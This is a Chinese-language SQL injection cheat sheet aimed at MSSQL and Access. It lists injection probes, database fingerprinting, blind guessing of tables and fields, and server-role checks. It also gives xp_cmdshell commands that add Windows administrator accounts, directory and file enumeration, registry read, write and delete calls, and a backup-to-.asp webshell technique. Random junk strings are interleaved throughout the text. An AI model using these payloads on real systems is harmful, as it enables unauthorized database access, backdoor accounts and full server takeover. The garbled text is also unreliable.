1.判断是否有注入;and 1=1 ;and 1=2 7bHE!#L`0
2.初步判断是否是mssql ;and user>0 Cy]"
&&ja|o-
3.注入参数是字符'and [查询条件] and ''=' f]hBPkZ6
5VuCU
4.搜索时没过滤参数的'and [查询条件] and '%25'=' B5D3_iX]
9#ZzE/
5.判断数据库系统 :J<Owh@
8 qn{
;and (select count(*) from sysobjects)>0 mssql g~eJ
YS,
%s]U@Ku(a
;and (select count(*) from msysobjects)>0 access dP?nP(l
ShsJ_/C2
-?[O"D"c
/@6E3lhS
6.猜数据库 ;and (select Count(*) from [数据库名])>0 P>>f{3e.
y|$vtD%c
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 1<;\6sg
SlR7h$r'
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 *Rz!i m|
^tQPJ
9.(1)猜字段的ascii值(access) cPV5^9\T
N|bPhssFw
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 r4;^c}
Cm9 9?K
(2)猜字段的ascii值(mssql) cAYa=}~<
Z3OZPxm
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 xV"6d{+
!IfI-Q
10.测试权限结构(mssql) -$'~;O3s
`\Uc4lRS
&19lk
:y4)qF
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- cdd P
T
C3&17O6
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 3WQRN_
:(5]Z^
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Z&AHM &,yj
>lUBt5gU
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6 ,7/8
!l sy&6
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Oex{:dO "F
sURUQ H
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- <1;,B%_^
6n2Vx1b
;and 1=(select IS_MEMBER('db_owner'));-- ;u4@iN}p
hY\Eh.
}CB=c]p
=NVZ$K OZ
11.添加mssql和系统的帐户
T4%i`<i
Xq=!"E
;exec master.dbo.sp_addlogin username;-- eO|^Lu]+
;exec master.dbo.sp_password null,username,password;-- @d8&3@{R^
\'\N"g`Fr
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- TFiuz;*|
pgLzFY['
;exec master.dbo.xp_cmdshell 'net user username password >Hd~Ca>
7Va#{Y;Zy
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- rf1wS*uU+
sRo<4U0M;l
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Pj1K
')1}#V/I
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- F^ %{
;
}J'5EAp
#z-iL!?
o{S}e!Vb
12.(1)遍历目录 !Vp,YN+yN
} K+Q9<~u
;create table dirs(paths varchar(100), id int) 886 ('
H3UX{|[
;insert dirs exec master.dbo.xp_dirtree 'c:\' T@d_t
hy!'Q>[`
;and (select top 1 paths from dirs)>0 R:pBbA7E
E7Gi6w~\
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ~u~[E
\>aa8LOe
kMJQeo79
WacU@L $A
(2)遍历目录 4$q)e<-
ZH`K%h0
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ?hry=I(7r
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 !S >|Qh
5m%baf2_
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Z CQt1;
+,{Wcb
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 pdcwq~4~%
[#P`_hx
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 W O+?gu
Z@c0(ol
w ;s ]n
6ljRV)
13.mssql中的存储过程 Vgru, '
NZ%~n:/V#
xp_regenumvalues 注册表根键, 子键 ]` &[Se d
WV!kA_
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 iEJQ#5))0
tmY-m,U
xp_regread 根键,子键,键值名 wE8a4.
Fgc:6<MGM
;exec xp_regread J.1ln
=Y
`
HE:D2b
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 8H%I|fm
tE9_dR^K
xp_regwrite 根键,子键, 值名, 值类型, 值 3qxG?G N
-Y jv&5
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 (fk, 80
+k(3+b$S-
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 i6g[E4nk
EB3o8
xp_regdeletevalue 根键,子键,值名 meM.?kk(
=
"hY{RUa
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 {GH`V}Ob
sWZtbW;)
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 lJ>QTZH!wW
g`5`KU|
>s 8:1l
X^_+%U
14.mssql的backup创建webshell p`l[cVQ<
O"s`-OM;n
use model v YmtpKNj%
5 dNf$a0E
create table cmd(str image); eS@!\Hx
s*~jvL
insert into cmd(str) values (''); }A'<?d8
ga1gd~a
backup database model to disk='c:\l.asp'; }$k`[ivBx(
b=QGbFf
[TfV2j* e
vhquHy.qi#
15.mssql内置函数 ?o(X0
g$-D?~(Z
;and (select @@version)>0 获得Windows的版本号 I#hg(7|",
uSQ>oi]
;and user_name()='dbo' 判断当前系统的连接用户是不是sa r dG2| Tp
g
/ @yK
;and (select user_name())>0 爆当前系统的连接用户 0*:hm%g
.lF\b A|
;and (select db_name())>0 得到当前连接的数据库 qpwh #^2
I&NpN~AU
.gkPG'm[
RW PdS
16.简洁的webshell =&b$W/l)0
$J0~2TV<
use model uj1E*
98m
A"3&EuvU
create table cmd(str image); I/b8
\/4%[Q2QDm
insert into cmd(str) values (''); ^Er`{|o6u
8OtUY}R
backup database model to disk='g:\wwwtest\l.asp';